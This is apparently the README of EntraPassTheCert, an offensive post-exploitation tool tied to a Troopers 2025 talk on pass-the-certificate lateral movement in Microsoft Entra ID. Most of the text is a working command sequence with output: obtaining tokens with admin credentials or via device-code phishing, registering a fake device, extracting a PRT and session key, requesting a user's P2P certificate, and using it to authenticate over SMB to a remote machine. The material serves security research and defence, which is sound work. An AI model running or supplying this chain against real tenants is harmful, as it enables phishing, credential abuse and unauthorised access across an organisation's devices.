EntraPassTheCert 是一款后渗透工具,允许攻击者请求 Entra ID 用户的 P2P 证书,并使用该证书向远程已加入 Entra 的机器进行身份验证。
$ python3 entraptc.py -h
usage: entraptc.py [-h] [--debug] {request_p2pcert,smb,rdp,winrm,rpc} ...
post-exploitation tool for requesting p2p cert and authenticate with it
positional arguments:
{request_p2pcert,smb,rdp,winrm,rpc}
Available commands
request_p2pcert request P2P cert with PRT and SessionKey
smb SMB to Entra joinned machine with P2P cert
rdp RDP to Entra joinned machine with P2P cert
winrm WinRM to Entra joinned machine with P2P cert
rpc RPC to Entra joinned machine with P2P cert
options:
-h, --help show this help message and exit
--debug debug option
该代码基于以下出色的现有工具构建。
该工具将在 Troopers 2025 大会上展示:
Hopping Accross Devices: Expanding Lateral Movement through Pass-the-Certificate Attack
首先,使用具有目标设备本地管理员访问权限的任何账户的凭据获取所需的 Microsoft Entra 令牌。
$ roadtx gettokens -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e -u globaladmin@***.onmicrosoft.com -p $PASSWORD
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
Tokens were written to .roadtools_auth
如果你没有凭据,也可以执行 device-code 钓鱼攻击来获取令牌。
$ roadtx gettokens --device-code -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code HGCUCJ6CS to authenticate.
Tokens were written to .roadtools_auth
接下来,向 Entra ID 注册一个伪造设备。
$ roadtx device -a join -n fake_device
Saving private key to fake_device.key
Registering device
Device ID: 0d9d2d66-7343-4bf2-a3dd-377c9e1e6244
Saved device certificate to fake_device.pem
然后,使用已注册的设备请求 PRT 和会话密钥。
$ REFRESHTOKEN=(`cat .roadtools_auth | jq -r .refreshToken`)
$ roadtx prt -c fake_device.pem -k fake_device.key -r $REFRESHTOKEN
Obtained PRT: 1.AT0A7mRQZ....
Obtained session key: fabd04bf017c526fd...
Saved PRT to roadtx.prt
获得 PRT 和会话密钥后,你就可以请求用户的 P2P 证书。
$ PRT=(`cat roadtx.prt | jq -r .refresh_token`)
$ SESSIONKEY=(`cat roadtx.prt | jq -r .session_key`)
$ python3 entraptc.py request_p2pcert --prt $PRT --sessionkey $SESSIONKEY
[*] requesting P2P cert...
[+] successfully acquired P2P cert!
[*] here is your p2p cert pfx : p2pcert.pfx (pw: password)
你可以使用 P2P 证书向已加入 Entra 的远程机器进行身份验证,如下所示。
$ python3 entraptc.py smb --target 192.168.153.133 --pfx p2pcert.pfx
